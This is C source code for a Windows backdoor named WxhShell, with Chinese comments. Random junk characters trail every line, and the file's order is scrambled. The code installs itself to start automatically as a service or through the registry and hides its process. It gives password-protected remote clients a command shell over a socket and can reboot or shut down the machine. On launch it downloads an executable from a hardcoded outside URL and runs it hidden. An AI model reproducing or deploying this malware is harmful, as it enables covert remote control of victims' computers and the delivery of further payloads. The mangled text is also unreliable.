    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,Lox?}t  
    if(Boot(SHUTDOWN)) uqX"^dn4u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <f8@Qij  
    else { Z37Z  
    closesocket(wsh); ]N2'L!4|;  
    ExitThread(0); `[57U,v  
    } ;,@3bu>r  
    break; Ba!`x<wa  
    } 2ggW4`"c  
  // 获取shell Qh?q 0VKU^  
  case 's': { s13Iu#  
    CmdShell(wsh); $?ke "  
    closesocket(wsh); 6L'cD1pu  
    ExitThread(0); :8yrtbf$  
    break; (:M6*RV  
  } f5mk\^  
  // 退出 si%f.A#  
  case 'x': { g)u2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tb:n6a@  
    CloseIt(wsh); @b-?KH  
    break;  nPvR  
    } VO. Y\8/  
  // 离开 LPewoAXO  
  case 'q': { hFylQfd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "R4~ 8r  
    closesocket(wsh); $N:m 9R  
    WSACleanup(); 8Bo'0  
    exit(1); _S@s  
    break; cg0L(oI~  
        } in(n[K  
  } P8z+ +h  
  } c\]h YKA  
89+m?H]K  
  // 提示信息 9FH=Jp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "2Js[uf  
} ]+d.X]   
  } /DZKz"N  
kf&id/|  
  return; ;)c SdA9  
} pZ OVD%  
{lx^57v  
// shell模块句柄 4'G<qJoc  
int CmdShell(SOCKET sock) Lr40rLx;u  
{ |Z#) 1K  
STARTUPINFO si; ;y4 "wBX  
ZeroMemory(&si,sizeof(si)); oA_AnD?G+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |F9/7 z\5+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B@.U\.  
PROCESS_INFORMATION ProcessInfo; [rE,fR   
char cmdline[]="cmd"; l&;#`\s!V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z}u  
  return 0; c>=[|F{{e  
} 4)Z78H%>  
%w' @:~0  
// 自身启动模式 S WYiI  
int StartFromService(void) +!.=M8[  
{ "4n_MV>p  
typedef struct kw}J~f2  
{ dwB-WF%k  
  DWORD ExitStatus; JF24~Q4P  
  DWORD PebBaseAddress; J|,| *t  
  DWORD AffinityMask; yBs  
  DWORD BasePriority; Il*wVNrZI  
  ULONG UniqueProcessId; VGq2ITg9eE  
  ULONG InheritedFromUniqueProcessId; |CStw"Fog  
}   PROCESS_BASIC_INFORMATION; d=H C;T)  
k@KX=mG<  
PROCNTQSIP NtQueryInformationProcess; ]5uCs[  
6Dw[n   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~;Xdz/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .NwHr6/s*  
y;sr# -L  
  HANDLE             hProcess; 0'RSl~QvqS  
  PROCESS_BASIC_INFORMATION pbi; *gVRMSrx4  
u_zp?Nc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IjJ3CJ<  
  if(NULL == hInst ) return 0; <@@.~Qm'  
83)2c a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YujhpJ<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UO>p-M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %J2u+K  
YX@[z 5*  
  if (!NtQueryInformationProcess) return 0; o`hF1*yp  
R &T(S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q 4_j`q  
  if(!hProcess) return 0; g%[lUxL  
E]_sl/`{od  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  5Lm ?  
"mHSbG  
  CloseHandle(hProcess); pkBmAJb@  
a?\ Au  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V4ayewVX  
if(hProcess==NULL) return 0; Gi Zy C  
70*Y4'u }A  
HMODULE hMod; GZ*cV3Y`&  
char procName[255]; Q6"r^w Wx  
unsigned long cbNeeded; I9k o*f  
b[$l{RQ[?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bBC3% H^  
,58D=EgFy  
  CloseHandle(hProcess); :);GeZ  
c KF 8(  
if(strstr(procName,"services")) return 1; // 以服务启动 4}fG{Bk  
o D:?fs]  
  return 0; // 注册表启动 hZc$`V=R  
} xNE<$Bz  
!XzRV?Ih;  
// 主模块 R9fM9  
int StartWxhshell(LPSTR lpCmdLine) /R 2:Js  
{ u@[D*c1!H  
  SOCKET wsl; vKol@7%N  
BOOL val=TRUE; PL%_V ?z  
  int port=0; 0 .t;i4  
  struct sockaddr_in door; Ol D]*=.cO  
J?u@' "u  
  if(wscfg.ws_autoins) Install(); `?91Cw=`  
{p1#H`  
port=atoi(lpCmdLine); ^5j9WV  
|c dQJW  
if(port<=0) port=wscfg.ws_port; $WrDZU 2z  
h]vA%VuE'E  
  WSADATA data; T+N%KRl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V 7%rKK  
97'*Xq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V= !!;KR0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y`7BR?l  
  door.sin_family = AF_INET; 4~DFtWbf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hSo\  
  door.sin_port = htons(port); JEs?Rm1^.  
b":cj:mxL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #R'm|En'  
closesocket(wsl); N1+%[Uh9)  
return 1; G\|VTqu  
} gtVI>D'(W  
g' H!%<  
  if(listen(wsl,2) == INVALID_SOCKET) { vX/~34o]\  
closesocket(wsl); ?psvhB{O  
return 1; UR:cBr  
} SWPr5h  
  Wxhshell(wsl); kImS'i{A  
  WSACleanup(); '-S^z"ZrI  
u ;f~  
return 0; :TX!lbCq  
.)ZK42Qd  
} !imm17XQ\  
YRAWylm  
// 以NT服务方式启动 8b[ ^6]rM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %Nzg~ZPbmT  
{ ORyFE:p$  
DWORD   status = 0; H '&x4[J:  
  DWORD   specificError = 0xfffffff; >N{K)a  
rRly0H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wh[XJ_xY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 11Pm lzy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mJ)o-BV  
  serviceStatus.dwWin32ExitCode     = 0; 4{[Df$'e>  
  serviceStatus.dwServiceSpecificExitCode = 0; jf~/x>Q  
  serviceStatus.dwCheckPoint       = 0; -[".km  
  serviceStatus.dwWaitHint       = 0; Iyz};7yVI  
iRBUX`0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^CDQ75tR  
  if (hServiceStatusHandle==0) return; T B1E1  
Gt2NUGU  
status = GetLastError(); Qf6Vj,~N  
  if (status!=NO_ERROR) gle_~es'K  
{ aS-rRL|\L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7=aF-;X3jj  
    serviceStatus.dwCheckPoint       = 0; S XIo  
    serviceStatus.dwWaitHint       = 0; Wg3y y8vIW  
    serviceStatus.dwWin32ExitCode     = status; `Q' 0l},  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 ua.aL'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zdlysr#  
    return; hwSn?bkw  
  } )apqL{u:=  
-;Y*;xe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c7[|x%~  
  serviceStatus.dwCheckPoint       = 0; 9EIHcUXe  
  serviceStatus.dwWaitHint       = 0; ,mx>)} l95  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )k.;.7dXe  
} b$l@Z&[]  
^uD r  
// 处理NT服务事件,比如:启动、停止 /608P:U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nNSq6 Cj  
{ soRt<83  
switch(fdwControl) _%?}e|epy  
{ Ugp[Ugr  
case SERVICE_CONTROL_STOP: Pe6MDWR  
  serviceStatus.dwWin32ExitCode = 0; v2 T+I]I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q"h/o"-h  
  serviceStatus.dwCheckPoint   = 0; 2,{m>fF  
  serviceStatus.dwWaitHint     = 0; E=_M=5]  
  { Mm;kB/ 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jlj=FA`  
  } /U4F\pZl  
  return; CE=&ZHt9  
case SERVICE_CONTROL_PAUSE: l&R~ I6^E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5Q;Fwtm  
  break; 3P2H!r  
case SERVICE_CONTROL_CONTINUE: Gc^w,n[E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NuRxkeEO  
  break; 6FFQoE|n  
case SERVICE_CONTROL_INTERROGATE: 6}qp;mR E]  
  break; l{[{pAm  
}; Ghs{B8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C!6?.\U/:c  
} P:eY>~m<;  
q"7rd?r52  
// 标准应用程序主函数 D(yU:^L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PHU#$LG  
{ bS=aFl#  
] lE6:^V  
// 获取操作系统版本 0>} FNRC  
OsIsNt=GetOsVer(); oKLL~X>!U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }1 = V`N(  
oJE~dY$Q  
  // 从命令行安装 .bE+dA6:v  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~Gx"gK0  
NokAP|<y  
  // 下载执行文件 zy"wQPEE  
if(wscfg.ws_downexe) { ;m`k#J?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uH!uSB2  
  WinExec(wscfg.ws_filenam,SW_HIDE); JKN0:/t7 Q  
} klmRU@D  
vPz$jeA  
if(!OsIsNt) { xdGmiHN  
// 如果时win9x,隐藏进程并且设置为注册表启动 A\nL(Nd  
HideProc(); t}n:!v"|+O  
StartWxhshell(lpCmdLine); $$ma1.t"  
} ca%s$' d  
else -'ePx f  
  if(StartFromService()) 9|R]Lz3PA  
  // 以服务方式启动 O~sv^  
  StartServiceCtrlDispatcher(DispatchTable); z UN&L7D  
else 8,d<&3D  
  // 普通方式启动 .-2i9Bh6  
  StartWxhshell(lpCmdLine); YC+}H3 3  
cy T,tN  
return 0; Eh/B[u7T[  
} kcGs2Y_*&  
xF![3~~3[  
7DQ{#Gf#G  
Z.TYi~d/9D  
=========================================== ~5g2~.&*  
' P5t tI#|  
zg L0v5vk  
WsO'4~X9  
E:'TZ4Z  
/qM:;:N%j  
" N.R,[K  
*S,5  
#include <stdio.h> mux_S2x9m\  
#include <string.h> nW#UBtZ  
#include <windows.h> *Y'nDv6_P  
#include <winsock2.h> YL*yiZ9  
#include <winsvc.h> 4&]Sb}  
#include <urlmon.h> Jm0o[4  
.h O ) R.  
#pragma comment (lib, "Ws2_32.lib") r$7fw}'I  
#pragma comment (lib, "urlmon.lib") H&Jp,<\x  
2 u:w  
#define MAX_USER   100 // 最大客户端连接数 wtlIyE  
#define BUF_SOCK   200 // sock buffer ;n1< 1M>!  
#define KEY_BUFF   255 // 输入 buffer 4B? 8$&b  
$3.hZx>  
#define REBOOT     0   // 重启 c%,@O&o  
#define SHUTDOWN   1   // 关机 ' e @`HG  
{BB#Bh[  
#define DEF_PORT   5000 // 监听端口 H5wzzSV!:B  
9HJrMX  
#define REG_LEN     16   // 注册表键长度 K`}8fU   
#define SVC_LEN     80   // NT服务名长度 36MqEUjyB  
B q/<kEgM  
// 从dll定义API za$v I?ux  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ zM/>Qa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nM]Sb|1:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -!w({rP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YB?yi( "yL  
J" :R,w`  
// wxhshell配置信息 ;;|S QX  
struct WSCFG { R<wPO-dX  
  int ws_port;         // 监听端口 BCUn[4Gp  
  char ws_passstr[REG_LEN]; // 口令 /~=W3lhY  
  int ws_autoins;       // 安装标记, 1=yes 0=no [H"\<"1o  
  char ws_regname[REG_LEN]; // 注册表键名 mIk8hA@B_  
  char ws_svcname[REG_LEN]; // 服务名 a@+n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W`auQO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &USKudXmb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fviq}.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ).IB{+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NmbA~i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vxN,oa{hf  
p@`]9tLP(K  
}; P[Q3z$I}  
'8RBR%)y  
// default Wxhshell configuration b{X,0a{*  
struct WSCFG wscfg={DEF_PORT, _4+'@u #  
    "xuhuanlingzhe", z _A]mJ  
    1, 04npY+1 8%  
    "Wxhshell", J9buf}C[  
    "Wxhshell", xb6y=L  
            "WxhShell Service", xhq-$"B  
    "Wrsky Windows CmdShell Service", .lbo\v}2W  
    "Please Input Your Password: ", y+jOk6)W75  
  1, T-.Q  
  "http://www.wrsky.com/wxhshell.exe", 6sE%]u<V  
  "Wxhshell.exe" QV&yVH=Xs  
    }; e#{,M8  
}fqz8'E9  
// 消息定义模块 3y9R1/!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I;u1mywd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <.d^jgG(j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IZw>!KYG  
char *msg_ws_ext="\n\rExit."; VDnN2)Km*  
char *msg_ws_end="\n\rQuit."; ,\".|m1o.  
char *msg_ws_boot="\n\rReboot..."; 98 Dg[O  
char *msg_ws_poff="\n\rShutdown..."; E![Ye@w  
char *msg_ws_down="\n\rSave to "; ^/`W0kT  
VgBZ@*z(x  
char *msg_ws_err="\n\rErr!"; 4xYW?s(  
char *msg_ws_ok="\n\rOK!"; Dej_(Dz_S  
0<^!<i(%  
char ExeFile[MAX_PATH]; Ad%3 fvn  
int nUser = 0; = ^NTHc^*  
HANDLE handles[MAX_USER]; 16pk4f8  
int OsIsNt; )c;zNs  
P84uEDY  
SERVICE_STATUS       serviceStatus; *{K?JB#W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z&R #j  
D=>[~u3H  
// 函数声明 _zuX6DO  
int Install(void); =eHoJq  
int Uninstall(void); =PQMd  
int DownloadFile(char *sURL, SOCKET wsh); 8(jUCD  
int Boot(int flag); \7\7i-Vo  
void HideProc(void); {D>@ZC  
int GetOsVer(void); 4Y.o RB  
int Wxhshell(SOCKET wsl); _{k-&I  
void TalkWithClient(void *cs); n^xB_DJ~  
int CmdShell(SOCKET sock); wr`+xYuuC=  
int StartFromService(void); kiP-^Wan  
int StartWxhshell(LPSTR lpCmdLine); +xL*`fn  
-% ,3qhsd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IGKtugU%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D~^P}_e.  
,JU3 w  
// 数据结构和表定义 Q"(*SA+-|  
SERVICE_TABLE_ENTRY DispatchTable[] = 5w^6bw){  
{ i L48  
{wscfg.ws_svcname, NTServiceMain}, / %9DO  
{NULL, NULL} s%Y8;D,~+  
}; \H&8.<HJ  
dm(Xy'*iQ  
// 自我安装 VnU/_# n  
int Install(void) Cu\6VnW_6  
{ (gQr?K  
  char svExeFile[MAX_PATH]; $yoIz.?V  
  HKEY key; &%=]lP]  
  strcpy(svExeFile,ExeFile); *mVQN1  
s^vw]D  
// 如果是win9x系统,修改注册表设为自启动 exP:lO_0n  
if(!OsIsNt) { 4S 7#B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S A\_U::T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); azCod1aL{  
  RegCloseKey(key); m|by^40A(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pl4:>4l/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tu[I84  
  RegCloseKey(key); C" 2K U*  
  return 0; Uv|?@zy#  
    } <0h,{28  
  } {^ jRV@  
} FpYeuH%  
else { 4^IqHx;bj  
J=`2{ 'l  
// 如果是NT以上系统,安装为系统服务 Rk$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nQm (UN  
if (schSCManager!=0) d"nms\=p  
{ +N>z|T<  
  SC_HANDLE schService = CreateService *~%QXNn`  
  ( :|z.F+-/  
  schSCManager, * ujJpJZ2  
  wscfg.ws_svcname, ]fdxpqz  
  wscfg.ws_svcdisp, 25H=RTw  
  SERVICE_ALL_ACCESS, CU+H`-+"J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t}X+P`Ovq  
  SERVICE_AUTO_START, G^W'mV$xl  
  SERVICE_ERROR_NORMAL, t4H*&U  
  svExeFile, Co^^rd@  
  NULL, %Mxc"% w  
  NULL, m2x=Qv][@c  
  NULL, IW$qP&a  
  NULL, XlaGR2-%  
  NULL k )=Gyv<  
  ); d>1cKmH!  
  if (schService!=0) i%3q*:A]2  
  { q}r{%ypf  
  CloseServiceHandle(schService); 'mm~+hp  
  CloseServiceHandle(schSCManager); Wi"3kps q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tW[dJKw  
  strcat(svExeFile,wscfg.ws_svcname); MD+e!A#o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `#c36  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JF6=0  
  RegCloseKey(key); Kj/{V  
  return 0; ]q":ta!f  
    } *!c&[- g  
  } ,w|Or}h]7  
  CloseServiceHandle(schSCManager); x4Wu`-4^  
} wN2D{Jj  
} zS/1v+  
A2p]BW&  
return 1; ?C`&*+  
} E06)&tF  
-A(]U"@n  
// 自我卸载 ('oA{,#L  
int Uninstall(void) 4DV@-  
{ j9g0k<eg  
  HKEY key; K4vOy_wT  
 8\Uy  
if(!OsIsNt) { gaC [%M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h~-cnAMt  
  RegDeleteValue(key,wscfg.ws_regname); |FP@NUX\  
  RegCloseKey(key); Cb i;CF\{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z>A;|iL  
  RegDeleteValue(key,wscfg.ws_regname); WCL#3uYk"  
  RegCloseKey(key); M}\p/r=  
  return 0; K]H [A,  
  } z:)z]6  
} =DsFR9IB  
} ohlCuH 3  
else { QqCwyK0  
Z1N=tL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); & oj$h  
if (schSCManager!=0) B.F~/PET  
{ T;1aL4w"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f|NWn`#bY  
  if (schService!=0) tBtmqxx  
  { _`d=0l*8  
  if(DeleteService(schService)!=0) { D`hg+64}  
  CloseServiceHandle(schService); 8\BYm|%aa  
  CloseServiceHandle(schSCManager); _BPp=(|  
  return 0; #'fQx`LV  
  } a?]~Sw"@  
  CloseServiceHandle(schService); [+(fN  
  } !JnxNIr&i|  
  CloseServiceHandle(schSCManager); ewOe A|  
} \o<&s{ 6L  
} #%{x*y:Ms  
01">$  
return 1; Gr|IM,5P4  
} 8!|LJI  
!D~\uW1b  
// 从指定url下载文件 /" 6Gh'  
int DownloadFile(char *sURL, SOCKET wsh) Nf1&UgX  
{ C%q]o  
  HRESULT hr; 4O>0gK{w  
char seps[]= "/"; Z,:}H6Mj9  
char *token; yo]8QO]97  
char *file; (P|k$S?m  
char myURL[MAX_PATH]; FKU)# Eo  
char myFILE[MAX_PATH]; j*L-sU  
39oI &D>8  
strcpy(myURL,sURL); `(&GLv[i^2  
  token=strtok(myURL,seps); 5D<"kT  
  while(token!=NULL) +O?`uV  
  { 4cZlQ3OE.  
    file=token; ,ek0)z.  
  token=strtok(NULL,seps); oA`G\Xh_E  
  } -5u. Ix3  
PD`EtkUnv  
GetCurrentDirectory(MAX_PATH,myFILE); 'da$i  
strcat(myFILE, "\\"); @q<d^]po  
strcat(myFILE, file); is6d:p  
  send(wsh,myFILE,strlen(myFILE),0); LR% P\~  
send(wsh,"...",3,0); mt]50}eK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PmlQW!gfBi  
  if(hr==S_OK) %R@&8  
return 0; wt1Y&D  
else f,:2\b?.  
return 1; e?\34F  
`XK#sCC  
} Wf>=^ ~`  
2^ kK2D$o  
// 系统电源模块 ^^kL.C Ym  
int Boot(int flag) Dy^A??A[E}  
{ U{ ZKxE  
  HANDLE hToken; (Z#j^}G_l  
  TOKEN_PRIVILEGES tkp; {9|S,<9  
Q'c[yu  
  if(OsIsNt) { /[=U$=uH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m?]= =9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '=1@,Skj-  
    tkp.PrivilegeCount = 1; uYMH5Om+i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =aCd,4B}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4ad-'  
if(flag==REBOOT) { Tk:%YS;=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +{[E Ow  
  return 0; }-%:!*bLj  
} ~5 e 1&  
else { q|S,^0cU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f1X]zk(=W  
  return 0; U~_G *0  
} =e|  
  } %40+si3c  
  else { (&xIB F_6  
if(flag==REBOOT) { tN-B`d 1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0s%]%2O N  
  return 0; &U{"dJr  
} 'aJm4W&j  
else { wY_! s Qo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }080=E  
  return 0; v.{I^=  
} uV\~2#o$_  
} f\c%G=y  
b_GAK  
return 1; i$dF0.}Q  
} Rq,Fp/  
#r;uM+  
// win9x进程隐藏模块 Rkh ^|_<!  
void HideProc(void) $*vj7V_  
{ R*>EbOuI  
Yy4l -}"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0w ;#4X:m  
  if ( hKernel != NULL ) w02t9vz  
  { 7!('+x(>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )d7U3i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "j%L*J)  
    FreeLibrary(hKernel); A}z1~Z+  
  } oPC qv  
G:Cgq\+R  
return;  !AFii:#  
} X DAwE  
MB3 N3,yL  
// 获取操作系统版本 ;1L7+.A  
int GetOsVer(void) A S]jJc^  
{ D}L4uz?  
  OSVERSIONINFO winfo; \!!1o+#1j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0;:AT|U/d  
  GetVersionEx(&winfo); 2hF j+Ay  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /V f L(  
  return 1; }W$}blbp  
  else xT;j_'9U;  
  return 0; q\T}jF\t  
} , \R,O  
.q_SA-!w>  
// 客户端句柄模块 T(iL#2^  
int Wxhshell(SOCKET wsl) axLO: Q,  
{ C5&+1VrP  
  SOCKET wsh; !)h?2#V8;  
  struct sockaddr_in client; =qFDrDt  
  DWORD myID; Wm>AR? b  
/<it2=  
  while(nUser<MAX_USER) Zm#qW2a]P  
{ Y"'k $jS-  
  int nSize=sizeof(client); VDC"tSQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'QxPQ cU  
  if(wsh==INVALID_SOCKET) return 1; 5HMDug;   
jW0aIS2O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YV"LM6`  
if(handles[nUser]==0) ">rt *?^  
  closesocket(wsh); O:Ob{k  
else `)_11ywZ  
  nUser++; =%R|@lz_x  
  } p="K4E8~H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {uji7TB  
MD=VR(P?eq  
  return 0; v m)'C C  
} HK!Vd_&9,  
Y~uqKb;A  
// 关闭 socket v9+1[Y";  
void CloseIt(SOCKET wsh) ~7"6Y ]  
{ ~#V1Gunq  
closesocket(wsh); BRGTCR  
nUser--; 0q:g Dc6z  
ExitThread(0); SM8m\c  
} TCS^nBEE  
+)QA!g$  
// 客户端请求句柄  =[G)  
void TalkWithClient(void *cs) v}-jls  
{ R22P ol  
"f3KE=cUm  
  SOCKET wsh=(SOCKET)cs; jj*e.t:F  
  char pwd[SVC_LEN]; 7COJ.rA  
  char cmd[KEY_BUFF]; Mv^G%zg2  
char chr[1]; `-[+(+["  
int i,j; LTt| "D  
sKuPV  
  while (nUser < MAX_USER) { }^ G&n';J  
_HkB+D0v  
if(wscfg.ws_passstr) { B^sHFc""V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zfn390_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (VA:`pstP  
  //ZeroMemory(pwd,KEY_BUFF); 'P5|[du+  
      i=0; =| M[JPr  
  while(i<SVC_LEN) { 20p/p~<  
(8/Qt\3jv  
  // 设置超时 yyVv@  
  fd_set FdRead; %Lwd1'C%  
  struct timeval TimeOut; 3O!TVSo  
  FD_ZERO(&FdRead); kN,WB  
  FD_SET(wsh,&FdRead); _Q3Ad>,U  
  TimeOut.tv_sec=8; WmT(>JBO  
  TimeOut.tv_usec=0; 2e @zd\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |`yzH$,F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ewb/ Z[4  
POCFT0R}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =\l7k<  
  pwd=chr[0]; ; (;J  
  if(chr[0]==0xd || chr[0]==0xa) { o4g<[X)  
  pwd=0; Uv"GG: K_  
  break; niIjatT  
  } HJ,sZ4*]]  
  i++; $S0eERg a  
    } ooPH [p  
$6]7>:8mz  
  // 如果是非法用户,关闭 socket !^*I?9P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <r{ )*]#l  
} k(v8zDq*  
* 5Y.9g3)Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KU}HVM{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 !^[x~t  
`X7ns?  
while(1) { M1f ^Lx  
X@ Gm:6  
  ZeroMemory(cmd,KEY_BUFF); I=3e@aTZ,  
uY;2tZldf=  
      // 自动支持客户端 telnet标准   (~>L \]!  
  j=0; Ck0R%|  
  while(j<KEY_BUFF) { Z 7M%}V%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  _,2P4  
  cmd[j]=chr[0]; Nl^{w'X0h  
  if(chr[0]==0xa || chr[0]==0xd) { &G>EBKn\2`  
  cmd[j]=0; @#%rTKD9F  
  break; d#9"_{P  
  } y`EcBf  
  j++; Gv,0{DVX<  
    } $*{$90 Q  
i-EFq@xl  
  // 下载文件 c=T^)~$$  
  if(strstr(cmd,"http://")) { @9QtK69  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {A2SG#}  
  if(DownloadFile(cmd,wsh)) 6*,8 H&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sgn,]3AUq  
  else ]<;m;/ H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Svmyg]  
  } fr0iEO_  
  else { G'<J8;B* t  
&!{wbm@  
    switch(cmd[0]) { ZN2g(  
  dsP1Zq  
